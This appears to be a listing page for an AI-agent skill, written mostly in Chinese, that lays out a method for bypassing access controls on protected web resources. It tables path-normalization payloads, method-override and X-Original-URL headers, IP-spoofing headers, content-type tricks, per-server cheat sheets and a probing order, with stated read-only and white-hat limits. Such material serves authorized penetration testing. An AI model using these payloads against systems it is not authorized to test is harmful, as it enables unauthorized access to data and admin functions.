# Auth Bypass Techniques

> Access control bypass methodology. Use when a resource returns 401/403 or redirects to login, and you need to test whether the access control itself is flawed via path normalization, method override, routing-header confusion or content-type tricks. Not a WAF bypass skill.

- Skill: `ok-helloworld/auth-bypass-techniques` (Agent Skill)
- Install (CLI): `npx skillmds@latest add ok-helloworld/auth-bypass-techniques`
- Raw SKILL.md: https://api.skillmd.com/api/skills/ok-helloworld/auth-bypass-techniques/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: ok-helloworld (https://skillmd.com/u/ok-helloworld)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/ok-helloworld/auth-bypass-techniques

---


# SKILL: Access Control Bypass Techniques — 访问控制绕过手册

> **用途**：针对受保护资源（401/403/302 跳登录）测试访问控制实现缺陷。目标是取回真实业务数据或功能，不是改变状态码。所有结论必须有基线对照证据。

## 0. RELATED ROUTING

- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md)：请求被 WAF 拦截（403 带拦截页/连接重置）时先处理 WAF，再回来做访问控制绕过
- [http-parameter-pollution](../http-parameter-pollution/SKILL.md)：参数层绕过细节

---

## 1. 路径归一化绕过（优先级最高）

代理与后端对路径的解析不一致时，代理按原路径判权、后端按归一化路径路由，即可绕过。

| 变体（目标 `/admin`） | 原理 | 典型命中环境 |
|---|---|---|
| `/api/..;/admin`、`/xxx/..;/admin` | `..;` 在代理处不被解析 | **Tomcat / Spring Boot**（最常见） |
| `/admin;jsessionid=x`、`/admin;.js`、`/admin;a=b` | Spring 忽略 `;` 后参数，过滤器按整串匹配 | Spring |
| `/admin/`、`/admin/.`、`/admin//`、`//admin` | 尾斜杠/多余段，规则精确匹配失效 | 通用 |
| `/Admin`、`/ADMIN`、`/aDmIn` | 大小写不敏感文件系统/框架 | IIS、Windows、部分 PHP |
| `/admin%20`、`/admin%09`、`/admin.` | 尾部空白/点被框架裁剪 | PHP（去尾点/空格）、部分网关 |
| `/%2e%2e/admin`、`/..%2fadmin`、`/admin%2f..%2fadmin` | 编码分隔符，代理不解码 | Nginx + 后端自解码 |
| `/./admin`、`/xxx/../admin` | 点段清理差异 | 通用 |
| `/admin%00`、`/admin%00.json` | 空字节截断，绕扩展名/后缀检查 | 旧版 Tomcat/PHP、扩展名校验场景 |
| `/%61dmin`、`/admi%6e`、`/admin%252f` | 单字符编码/双重编码，解码次数差异 | 解两次的后端、只解一次的 WAF |
| `/admin\`、`/admin::$DATA` | 反斜杠解析 / NTFS ADS 流读取（只读） | **IIS / Windows** |
| `/admin%0d`、`/.admin` | CR 字符 / 前导点 | Apache |
| `///admin///`、`/./admin/./`、`/;/admin` | 冗余分隔符清理差异 | 通用 |

要点：
- 变体请求的路径**必须能路由到目标资源**才算绕过，404 说明路由也变了，无效。
- 每类取 2~3 个代表变体即可，不要穷举。

## 2. HTTP 方法绕过

**安全约束（强制）**：禁止使用 DELETE；禁止主动使用 PUT / PATCH / 自定义方法等写入型方法探测（仅当接口文档或 `methods_available` 明确其为该接口合法方法、且使用最小空请求体时除外）。默认探测只使用 GET / HEAD / OPTIONS / TRACE 与最小请求体 `{}` 的 POST。

| 技术 | 示例 | 原理 |
|---|---|---|
| 只读方法探测 | `OPTIONS`（读 `Allow` 头）、`HEAD`、`TRACE` | 规则集遗漏；TRACE 可能回显敏感请求头（XST） |
| GET↔POST 互换 | 401 的 GET 改用最小请求体 `{}` 的 POST | 权限规则只绑定单一方法 |
| 方法覆盖头 | `X-HTTP-Method-Override` / `X-Method-Override` / `X-HTTP-Method`，取值仅限 GET 或 POST | 代理按原方法判权、后端按头部路由 |

## 3. 路由与头部混淆

| 头 | 示例 | 原理 |
|---|---|---|
| `X-Original-URL` / `X-Rewrite-URL` | `X-Original-URL: /admin`，请求行保持 `/` | IIS / 旧式反向代理用头部重写路由，判权用请求行 |
| IP 伪造头族 | `X-Forwarded-For`、`X-Real-IP`、`True-Client-IP`、`X-Client-IP`、`X-Originating-IP`、`X-Custom-IP-Authorization`，取值 `127.0.0.1` / `::1` / 内网段 | IP 白名单信任代理头 |
| `Host` / `X-Forwarded-Host` | 换成内网域名或管理域 | 虚拟主机级权限差异 |
| `Referer` / `Origin` | 指向目标站点自身域名 | 来源校验绕过 |
| `X-Requested-With: XMLHttpRequest` | 标记为 AJAX 请求 | 部分网关对 AJAX 单独放行 |

IP 编码变体：`0177.0.0.1`（八进制）、`2130706433`（十进制）、`0x7f000001`（十六进制）、`localhost`——部分白名单解析器接受。

注意：IP 伪造类测试只在目标明确存在 IP 白名单迹象（如"仅限内网访问"提示）时值得做。

## 4. 请求体与参数层技巧

| 技术 | 说明 |
|---|---|
| Content-Type 切换 | JSON ↔ `application/x-www-form-urlencoded` ↔ multipart；部分权限/解析中间件只处理一种格式 |
| GET 带 body | 少数框架接受，判权逻辑未覆盖 |
| JSON 数组包裹 | `[{"user":"x"}]` 绕过按对象结构的规则 |
| 参数污染 | `?id=1&id=2`、同名参数不同值，判权取第一个、业务取最后一个（详见 HPP 技能） |

## 5. 协议降级与组合

| 技术 | 示例 | 原理 |
|---|---|---|
| HTTP/1.0 降级 | `GET /admin HTTP/1.0` | 部分 ACL 只对 HTTP/1.1 生效 |

单一技术失败时可尝试组合（全部只读）：方法+路径（最小体 `POST /ADMIN/`）、头部+路径（`X-Forwarded-For: 127.0.0.1` + `/admin%20`）、协议+路径（HTTP/1.0 + 编码路径）。

## 6. 服务端技术速查

| 服务端 | 优先变体 |
|---|---|
| Apache | `/admin/`（尾斜杠）、`/.admin`、`/admin%0d` |
| Nginx | `/Admin`（大小写）、`X-Original-URL`、`/%2e/admin` |
| IIS / ASP.NET | `/admin;.css`、`/admin\`、`/admin::$DATA`、`/admin%20`、大小写 |
| Tomcat / Java | `/admin;foo`、`/admin..;/`、`/;/admin` |
| Spring | `/admin/`（尾斜杠）、`;` 参数、尾缀匹配 |

## 7. 执行顺序（每个受保护目标）

```
1. 基线：原样请求，记录状态码/响应体（作为对照）
2. 路径归一化：选 §1 中与后端技术匹配的前 3 个变体
3. 方法绕过：OPTIONS 探允许方法 → 方法覆盖头
4. 头部混淆：有 IP 白名单迹象才做；否则试 X-Original-URL
5. 全部失败即判定访问控制有效，停止，转向下一目标
```

## 8. 判定规则（反幻觉）

1. **绕过成立 = 取回了基线拿不到的真实业务数据、管理功能或更大访问范围**。状态码从 403 变 200 但响应仍是错误页/登录页，不算绕过。
2. 每个结论保留：基线请求、绕过请求、两者响应关键差异。
3. 确认绕过后按最小影响原则取证，不继续遍历该保护面下的其他资源做无价值扩散。
4. 遵守白帽子职业操守：只验证可达性与数据暴露范围，不执行业务破坏性动作。

